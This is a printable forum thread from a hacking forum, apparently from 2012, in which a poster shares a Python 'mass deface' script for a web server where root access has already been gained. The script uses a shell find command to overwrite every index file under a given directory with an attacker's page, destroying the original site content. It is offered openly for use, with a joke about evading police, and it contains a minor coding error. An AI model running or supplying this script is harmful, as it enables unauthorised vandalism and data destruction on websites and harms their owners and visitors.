Sinisterly
[Python] Mass Deface - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Python (https://sinister.ly/Forum-Python)
+--- Thread: [Python] Mass Deface (/Thread-Python-Mass-Deface)



[Python] Mass Deface - KaiT_AleX - 03-19-2012

Here is mass deface script.
You must have root access to web server.
Code:
#Mass Deface Script by c0ax aka KaiT_AleX #Greetz baltazar, b0ne, Toro, Melvin, Mikisoft etc. #Usage: mass.py [sitepath] [tvojindexfajl] #mass.py /home /tmp/index.php import os, sys, time print "Defaceing..." print "Just wait and see the magic..." time.sleep(1) sajtpt = sys.argv[1] indef = sys.argv[2] inf = os.name() exe = "find %s -name \"index.*\" -exec cp %s {} \;" % (sajtpt, indef) os.system(exe) print "Done..." print "Good luck with cops" print inf print "Visit ljuska.org and dakrartists.info" #EOF #Script by c0ax aka KaiT_AleX